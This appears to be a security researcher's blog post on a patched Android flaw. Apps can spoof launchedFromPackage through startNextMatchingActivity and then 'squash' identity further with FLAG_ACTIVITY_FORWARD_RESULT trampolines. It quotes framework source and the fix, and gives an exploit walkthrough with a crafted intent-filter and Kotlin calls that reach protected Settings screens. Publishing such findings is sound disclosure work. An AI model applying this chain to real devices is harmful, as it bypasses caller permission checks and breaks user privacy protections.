Post

Identity Squashing

Identity Squashing

Prelude

Let’s start with an Android Security Patch I reported last year.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
diff --git a/src/com/android/settings/applications/AppInfoBase.java b/src/com/android/settings/applications/AppInfoBase.java
index 10fce8e..e8a67de 100644
--- a/src/com/android/settings/applications/AppInfoBase.java
+++ b/src/com/android/settings/applications/AppInfoBase.java
@@ -20,6 +20,7 @@

 import android.Manifest;
 import android.app.Activity;
+import android.app.ActivityManager;
 import android.app.Dialog;
 import android.app.admin.DevicePolicyManager;
 import android.app.settings.SettingsEnums;
@@ -34,6 +35,7 @@
 import android.hardware.usb.IUsbManager;
 import android.os.Bundle;
 import android.os.IBinder;
+import android.os.RemoteException;
 import android.os.ServiceManager;
 import android.os.UserHandle;
 import android.os.UserManager;
@@ -172,20 +174,19 @@
         if (!(activity instanceof SettingsActivity)) {
             return false;
         }
-        final String callingPackageName =
-                ((SettingsActivity) activity).getInitialCallingPackage();
-
-        if (TextUtils.isEmpty(callingPackageName)) {
-            Log.w(TAG, "Not able to get calling package name for permission check");
+        try {
+            int callerUid = ActivityManager.getService().getLaunchedFromUid(
+                    activity.getActivityToken());
+            if (ActivityManager.checkUidPermission(Manifest.permission.INTERACT_ACROSS_USERS_FULL,
+                    callerUid) != PackageManager.PERMISSION_GRANTED) {
+                Log.w(TAG, "Uid " + callerUid + " does not have required permission "
+                        + Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+                return false;
+            }
+            return true;
+        } catch (RemoteException e) {
             return false;
         }
-        if (mPm.checkPermission(Manifest.permission.INTERACT_ACROSS_USERS_FULL, callingPackageName)
-                != PackageManager.PERMISSION_GRANTED) {
-            Log.w(TAG, "Package " + callingPackageName + " does not have required permission "
-                    + Manifest.permission.INTERACT_ACROSS_USERS_FULL);
-            return false;
-        }
-        return true;
     }

Here’s what SettingsActivity.getInitialCallingPackage looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    public String getInitialCallingPackage() {
        String callingPackage = PasswordUtils.getCallingAppPackageName(getActivityToken());
        if (!TextUtils.equals(callingPackage, getPackageName())) {
            return callingPackage;
        }

        String initialCallingPackage = getIntent().getStringExtra(EXTRA_INITIAL_CALLING_PACKAGE);
        return TextUtils.isEmpty(initialCallingPackage) ? callingPackage : initialCallingPackage;
    }

    ...

    public static String getCallingAppPackageName(IBinder activityToken) {
        String pkg = null;
        try {
            pkg = ActivityManager.getService().getLaunchedFromPackage(activityToken);
        } catch (RemoteException e) {
            Log.v(TAG, "Could not talk to activity manager.", e);
        }
        return pkg;
    }

So basically, this patch makes the following changes:

  • Identifies the caller using IActivityManager.getLaunchedFromUid(activityToken) instead of IActivityManager.getLaunchedFromPackage(activityToken)
  • Changes the permission check from IPackageManager.checkPermission(packageName, permissionName) to ActivityManager.checkUidPermission(permission, uid) accordingly

getLaunchedFromPackage and getLaunchedFromUid share the same server-side logic: both look up the ActivityRecord by activityToken and return the corresponding field. So in most cases, you’d expect the returned package to belong to the returned uid, since they come from the same record.

Now let me introduce an exception: IActivityTaskManager.startNextMatchingActivity.

This API is rarely used in daily development or the AOSP codebase. Here’s a typical use case:

  • User is reading an article in app Foo and clicks a link like mailto:root@playgrou.nd
  • Foo launches an implicit intent with the appropriate action and data URI
  • System resolves this implicit intent and finds 2 (or more) apps that can handle it (in priority order, which we’ll discuss later):
    • Bar, the user’s preferred email app
    • Baz, a newly installed generic email client
  • System uses chooseBestActivity and finds Bar the best fit, so it routes the intent to Bar
  • Bar gets launched but finds itself out of date and unable to proceed, so it calls startNextMatchingActivity to let the system find and launch the next matching activity
  • System re-resolves the intent, rebuilds the candidate list, picks the next one after Bar, and launches it — in this case, Baz

Let’s take a look at startNextMatchingActivity, focusing on the parts I’ve marked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
    public boolean startNextMatchingActivity(IBinder callingActivity, Intent intent,
            Bundle bOptions) {
        // Refuse possible leaked file descriptors
        if (intent != null && intent.hasFileDescriptors()) {
            throw new IllegalArgumentException("File descriptors passed in Intent");
        }
        SafeActivityOptions options = SafeActivityOptions.fromBundle(bOptions);

        synchronized (mGlobalLock) {
            final ActivityRecord r = ActivityRecord.isInRootTaskLocked(callingActivity);
            if (r == null) {
                SafeActivityOptions.abort(options);
                return false;
            }
            if (!r.attachedToProcess()) {
                // The caller is not running...  d'oh!
                SafeActivityOptions.abort(options);
                return false;
            }
            intent = new Intent(intent);

            // ⬇️
            // Remove existing mismatch flag so it can be properly updated later
            intent.removeExtendedFlags(Intent.EXTENDED_FLAG_FILTER_MISMATCH);
            // The caller is not allowed to change the data.
            intent.setDataAndType(r.intent.getData(), r.intent.getType());
            // And we are resetting to find the next component...
            intent.setComponent(null);
            // ⬆️

            final boolean debug = ((intent.getFlags() & Intent.FLAG_DEBUG_LOG_RESOLUTION) != 0);

            final int userId = UserHandle.getCallingUserId();
            ActivityInfo aInfo = null;
            try {
                List<ResolveInfo> resolves =
                        AppGlobals.getPackageManager().queryIntentActivities(   //  ⬅️️
                                intent, r.resolvedType,
                                PackageManager.MATCH_DEFAULT_ONLY | STOCK_PM_FLAGS,
                                userId).getList();

                // Look for the original activity in the list...
                final int N = resolves != null ? resolves.size() : 0;
                for (int i = 0; i < N; i++) {
                    ResolveInfo rInfo = resolves.get(i);
                    if (rInfo.activityInfo.packageName.equals(r.packageName)
                            && rInfo.activityInfo.name.equals(r.info.name)) {
                        // We found the current one...  the next matching is
                        // after it.
                        i++;
                        if (i < N) {
                            aInfo = resolves.get(i).activityInfo;   // ⬅️
                        }
                        if (debug) {
                            Slog.v(TAG, "Next matching activity: found current " + r.packageName
                                    + "/" + r.info.name);
                            Slog.v(TAG, "Next matching activity: next is " + ((aInfo == null)
                                    ? "null" : aInfo.packageName + "/" + aInfo.name));
                        }
                        break;
                    }
                }
            } catch (RemoteException e) {
            }

            if (aInfo == null) {
                // Nobody who is next!
                SafeActivityOptions.abort(options);
                if (debug) Slog.d(TAG, "Next matching activity: nothing found");
                return false;
            }

            intent.setComponent(new ComponentName(
                    aInfo.applicationInfo.packageName, aInfo.name));
            intent.setFlags(intent.getFlags() & ~(Intent.FLAG_ACTIVITY_FORWARD_RESULT
                    | Intent.FLAG_ACTIVITY_CLEAR_TOP
                    | Intent.FLAG_ACTIVITY_MULTIPLE_TASK
                    | FLAG_ACTIVITY_NEW_TASK));

            // Okay now we need to start the new activity, replacing the currently running activity.
            // This is a little tricky because we want to start the new one as if the current one is
            // finished, but not finish the current one first so that there is no flicker.
            // And thus...
            final boolean wasFinishing = r.finishing;
            r.finishing = true;

            // Propagate reply information over to the new activity.
            final ActivityRecord resultTo = r.resultTo; // ⬅️
            final String resultWho = r.resultWho;
            final int requestCode = r.requestCode;
            r.resultTo = null;
            if (resultTo != null) {
                resultTo.removeResultsLocked(r, resultWho, requestCode);
            }

            final int origCallingUid = Binder.getCallingUid();
            final int origCallingPid = Binder.getCallingPid();
            final long origId = Binder.clearCallingIdentity();
            // TODO(b/64750076): Check if calling pid should really be -1.
            try {
                if (options == null) {
                    options = new SafeActivityOptions(ActivityOptions.makeBasic());
                }

                // Fixes b/230492947 b/337726734
                // Prevents background activity launch through #startNextMatchingActivity
                // launchedFromUid of the calling activity represents the app that launches it.
                // It may have BAL privileges (i.e. the Launcher App). Using its identity to
                // launch to launch next matching activity causes BAL.
                // Change the realCallingUid to the calling activity's uid.
                // In ActivityStarter, when caller is set, the callingUid and callingPid are
                // ignored. So now both callingUid and realCallingUid is set to the caller app.
                final int res = getActivityStartController()
                        .obtainStarter(intent, "startNextMatchingActivity")
                        .setCaller(r.app.getThread())
                        .setResolvedType(r.resolvedType)
                        .setActivityInfo(aInfo)             // ⬅️
                        .setResultTo(resultTo != null ? resultTo.token : null) // ⬅️
                        .setResultWho(resultWho)
                        .setRequestCode(requestCode)
                        .setCallingPid(-1)
                        .setCallingUid(r.launchedFromUid)  // ⬅️
                        .setCallingPackage(r.launchedFromPackage) // ⬅️
                        .setCallingFeatureId(r.launchedFromFeatureId)
                        .setRealCallingPid(origCallingPid)
                        .setRealCallingUid(origCallingUid)
                        .setActivityOptions(options)
                        .setUserId(userId)
                        .execute();
                r.finishing = wasFinishing;
                return res == ActivityManager.START_SUCCESS;
            } finally {
                Binder.restoreCallingIdentity(origId);
            }
        }
    }

From this, we can conclude that when using this API:

  • The callingUid and callingPackage are set to Foo, as in our previous use case (at least before execute)
  • The component in the intent provided by Bar will be ignored, and the data and type will be overwritten by the original intent
  • The resulting intent should match at least two candidates, with one ranked after Bar

Consequently, the callingPackage field becomes the launchedFromPackage field of the resulting ActivityRecord for Baz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
   private int executeRequest(Request request) {
      ...
      String callingPackage = request.callingPackage;
      ...

      // ✨✨✨✨✨
      // ⬇️ We won't reach this block in this round since FLAG_ACTIVITY_FORWARD_RESULT is trimmed unconditionally when using `startNextMatchingActivity`,
      // but this piece of code is essential in our final chapter to escalate the impact.
      // ✨✨✨✨✨
      final int launchFlags = intent.getFlags();
      if ((launchFlags & Intent.FLAG_ACTIVITY_FORWARD_RESULT) != 0 && sourceRecord != null) {
          // Transfer the result target from the source activity to the new one being started,
          // including any failures.
          if (requestCode >= 0) {
              SafeActivityOptions.abort(options);
              return ActivityManager.START_FORWARD_AND_REQUEST_CONFLICT;
          }
          resultRecord = sourceRecord.resultTo;
          if (resultRecord != null && !resultRecord.isInRootTaskLocked()) {
              resultRecord = null;
          }
          resultWho = sourceRecord.resultWho;
          requestCode = sourceRecord.requestCode;
          sourceRecord.resultTo = null;
          if (resultRecord != null) {
              resultRecord.removeResultsLocked(sourceRecord, resultWho, requestCode);
          }
          if (sourceRecord.launchedFromUid == callingUid) {
              // The new activity is being launched from the same uid as the previous activity
              // in the flow, and asking to forward its result back to the previous.  In this
              // case the activity is serving as a trampoline between the two, so we also want
              // to update its launchedFromPackage to be the same as the previous activity.
              // Note that this is safe, since we know these two packages come from the same
              // uid; the caller could just as well have supplied that same package name itself
              // . This specifially deals with the case of an intent picker/chooser being
              // launched in the app flow to redirect to an activity picked by the user, where
              // we want the final activity to consider it to have been launched by the
              // previous app activity.
              callingPackage = sourceRecord.launchedFromPackage;
              callingFeatureId = sourceRecord.launchedFromFeatureId;
          }
      }

      ...

      final ActivityRecord r = new ActivityRecord.Builder(mService)
              .setCaller(callerApp)
              .setLaunchedFromPid(callingPid)
              .setLaunchedFromUid(callingUid)
              .setLaunchedFromPackage(callingPackage)  // ⬅️
              .setLaunchedFromFeature(callingFeatureId)
              .setIntent(intent)
              .setResolvedType(resolvedType)
              .setActivityInfo(aInfo)
              .setConfiguration(mService.getGlobalConfiguration())
              .setResultTo(resultRecord)
              .setResultWho(resultWho)
              .setRequestCode(requestCode)
              .setComponentSpecified(request.componentSpecified)
              .setRootVoiceInteraction(voiceSession != null)
              .setActivityOptions(checkedOptions)
              .setSourceRecord(sourceRecord)
              .build();

      ...

   }

While callingUid gets immediately overwritten to callerApp.mInfo.uid (which is Bar) before being written to the resulting ActivityRecord for Baz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    private int executeRequest(Request request) {
      ...

      int callingUid = request.callingUid; // ⬅️

      ...


      WindowProcessController callerApp = null;
        if (caller != null) {
            callerApp = mService.getProcessController(caller);
            if (callerApp != null) {
                callingPid = callerApp.getPid();
                callingUid = callerApp.mInfo.uid;  // ⬅️
            } else {
                Slog.w(TAG, "Unable to find app for caller " + caller + " (pid=" + callingPid
                        + ") when starting: " + intent.toString());
                err = START_PERMISSION_DENIED;
            }
        }

      ...

      final ActivityRecord r = new ActivityRecord.Builder(mService)
        .setCaller(callerApp)
        .setLaunchedFromPid(callingPid)
        .setLaunchedFromUid(callingUid) // ⬅️
        .setLaunchedFromPackage(callingPackage)
        .setLaunchedFromFeature(callingFeatureId)
        .setIntent(intent)
        .setResolvedType(resolvedType)
        .setActivityInfo(aInfo)
        .setConfiguration(mService.getGlobalConfiguration())
        .setResultTo(resultRecord)
        .setResultWho(resultWho)
        .setRequestCode(requestCode)
        .setComponentSpecified(request.componentSpecified)
        .setRootVoiceInteraction(voiceSession != null)
        .setActivityOptions(checkedOptions)
        .setSourceRecord(sourceRecord)
        .build();
    }

Now we’ve constructed an ActivityRecord with its launchedFromPackage field set to Foo, but it was actually started by Bar.

Attacker View

In the normal use case, the entire flow starts with an implicit intent — the system resolves it, launches Bar, and Bar may then call startNextMatchingActivity.

However, for exploitation, the exact entrypoint is flexible, but the prerequisites are not:

  • Attacker inherits a trusted launchedFromPackage: Attacker must be launched by a principal whose launchedFromPackage the Victim would trust.
  • Attacker controls “next match” selection: Attacker must be able to call startNextMatchingActivity with an intent such that Victim ranks right after Attacker in the resolve list.

Mapping to our attack scenario:

  • Foo → Privileged: The component that launches Attacker (providing the launchedFromPackage we inherit)
  • Bar → Attacker: Our trampoline that calls startNextMatchingActivity
  • Baz → Victim: The target activity that trusts launchedFromPackage

Walkthrough

With that in mind, the exploit is straightforward:

  • Start android/.accounts.ChooseTypeAndAccountActivity with allowableAccountTypes set to the one we registered
  • In our AccountAuthenticator, return an intent pointing to our TrampolineActivity with data set to package:play.ground
    • Add the following intent-filter for TrampolineActivity:
      1
      2
      3
      4
      5
      6
      7
      
              <intent-filter>
                  <action android:name="android.settings.USAGE_ACCESS_SETTINGS" />
                  <category android:name="android.intent.category.DEFAULT" />
                  <data
                      android:scheme="package"
                      android:sspPrefix="play" />
              </intent-filter>
      
  • android/.accounts.ChooseTypeAndAccountActivity automatically launches the provided intent via startActivityForResult

  • Once TrampolineActivity is launched, invoke startNextMatchingActivity as follows:
    1
    2
    3
    4
    5
    
        startNextMatchingActivity(Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS).apply {
              data = Uri.parse("package:play.ground")
              putExtra(Intent.EXTRA_USER_HANDLE, UserHandle.of(10 - UserHandle.myUserId()))
              addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION)
         })
    
  • In ATMS, the requested intent is revised (data/type overwritten from the original) and re-resolved, producing the following resolve list:
    1. TrampolineActivity
    2. com.android.settings/Settings$AppUsageAccessSettingsActivity
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      
           <activity
             android:name="Settings$AppUsageAccessSettingsActivity"
             android:exported="true"
             android:label="@string/usage_access_title">
             <intent-filter>
                 <action android:name="android.settings.USAGE_ACCESS_SETTINGS"/>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <data android:scheme="package"/>
             </intent-filter>
             <meta-data
                 android:name="com.android.settings.FRAGMENT_CLASS"
                 android:value="com.android.settings.applications.UsageAccessDetails"/>
             <meta-data android:name="com.android.settings.HIGHLIGHT_MENU_KEY"
                        android:value="@string/menu_key_apps"/>
         </activity>
      

      TrampolineActivity outranks Settings because we declared an sspPrefix, which yields a higher match value when sorting the resolve list:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      
       public static final Comparator<ResolveInfo> RESOLVE_PRIORITY_SORTER = (r1, r2) -> {
           int v1 = r1.priority;
           int v2 = r2.priority;
           //System.out.println("Comparing: q1=" + q1 + " q2=" + q2);
           if (v1 != v2) {
               return (v1 > v2) ? -1 : 1;
           }
           v1 = r1.preferredOrder;
           v2 = r2.preferredOrder;
           if (v1 != v2) {
               return (v1 > v2) ? -1 : 1;
           }
           if (r1.isDefault != r2.isDefault) {
               return r1.isDefault ? -1 : 1;
           }
           v1 = r1.match;
           v2 = r2.match;
           //System.out.println("Comparing: m1=" + m1 + " m2=" + m2);
           if (v1 != v2) { // ⬅️
               return (v1 > v2) ? -1 : 1;
           }
           if (r1.system != r2.system) {
               return r1.system ? -1 : 1;
           }
           if (r1.activityInfo != null) {
               return r1.activityInfo.packageName.compareTo(r2.activityInfo.packageName);
           }
           if (r1.serviceInfo != null) {
               return r1.serviceInfo.packageName.compareTo(r2.serviceInfo.packageName);
           }
           if (r1.providerInfo != null) {
               return r1.providerInfo.packageName.compareTo(r2.providerInfo.packageName);
           }
           return 0;
       };
      
  • com.android.settings/Settings$AppUsageAccessSettingsActivity is launched and checks the permission against its own launchedFromPackage, which is android, allowing the permission check to pass

Limitations

Let’s summarize the limitations and exploit scenarios:

  • Victim trusts or checks the caller via getLaunchedFromPackage

    This API is primarily available to system UID or platform-signed apps, which typically have FLAG_SYSTEM set.

  • Attacker can craft an implicit intent where Victim ranks right after Attacker in the resolve list

    Recall how RESOLVE_PRIORITY_SORTER sorts matched components. In practice, Attacker cannot raise its own priority above 0 (though it can use negative values), and it cannot control preferredOrder or the system flag. Most exported intent-filters in Victim include CATEGORY_DEFAULT, so isDefault won’t help either. When competing with a real Victim component, the most reliable lever is to craft an intent-filter that gives Attacker a higher match value than Victim.

These restrictions dramatically limit the targets we can reach.

Identity Squashing

Remember the ✨-marked code block we skipped earlier? Time to revisit it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
            if (sourceRecord.launchedFromUid == callingUid) {
                // The new activity is being launched from the same uid as the previous activity
                // in the flow, and asking to forward its result back to the previous.  In this
                // case the activity is serving as a trampoline between the two, so we also want
                // to update its launchedFromPackage to be the same as the previous activity.
                // Note that this is safe, since we know these two packages come from the same
                // uid; the caller could just as well have supplied that same package name itself
                // . This specifially deals with the case of an intent picker/chooser being
                // launched in the app flow to redirect to an activity picked by the user, where
                // we want the final activity to consider it to have been launched by the
                // previous app activity.
                callingPackage = sourceRecord.launchedFromPackage;
                callingFeatureId = sourceRecord.launchedFromFeatureId;
            }

As the comments suggest, this logic is specifically designed for ChooserActivity and ResolverActivity.

ChooserActivity and ResolverActivity are system components intended to act as transparent trampolines in the activity flow. To achieve this transparency, they utilize startActivityAsCaller in conjunction with FLAG_ACTIVITY_FORWARD_RESULT. The former instructs ATMS to perform all permission checks against the original caller rather than the Chooser or Resolver itself, while the latter ensures that the callee’s result is returned directly to that original caller. Crucially, within this code block, the callingPackage—which populates ActivityRecord.launchedFromPackage—is also revised to reflect the original caller’s identity.

Enough about ChooserActivity and ResolverActivity, let’s return to our walkthrough.

Recall that the attacker controls the intent-filter design. By registering multiple activities that match the same intent and carefully tuning their relative priorities (via sspPrefix specificity, negative priority values, or other tricks), the attacker can ensure that TrampolineActivity ranks first, followed by TrampolineActivity2. When TrampolineActivity calls startNextMatchingActivity, the system dutifully picks TrampolineActivity2.

Now, TrampolineActivity2 can call startActivity with FLAG_ACTIVITY_FORWARD_RESULT, targeting the Victim directly.

As a result, the ActivityRecord chain would look like this:

  • Attacker/IndexActivity -> startActivity
  • android/ChooseTypeAndAccountActivity -> startActivityForResult
  • Attacker/TrampolineActivity -> startNextMatchingActivity

    1
    2
    3
    4
    5
    
    ActivityRecord<Attacker/TrampolineActivity> {
        launchedFromUid = 1000
        launchedFromPackage = android
        resultTo = android
    }
    
  • Attacker/TrampolineActivity2 -> startActivity(Intent(Victim).addFlags(FLAG_ACTIVITY_FORWARD_RESULT))

    1
    2
    3
    4
    5
    
    ActivityRecord<Attacker/TrampolineActivity2> {
        launchedFromUid = attacker.uid
        launchedFromPackage = android
        resultTo = android
    }
    
  • Victim

    1
    2
    3
    4
    
    ActivityRecord<Victim> {
        launchedFromUid = attacker.uid
        launchedFromPackage = android
    }
    

Epilogue

In recent memory, startNextMatchingActivity has been the source of numerous security issues, ranging from identity spoofing to background activity launches (curious readers can check the related comments and commit messages for details). Despite its troubled history, it is rarely used in daily development.

It seems this API finds more love in security research than in actual codebases. I’m just glad to have documented this little corner of the framework before moving on to the “next matching” adventure.

This post is licensed under CC BY 4.0 by the author.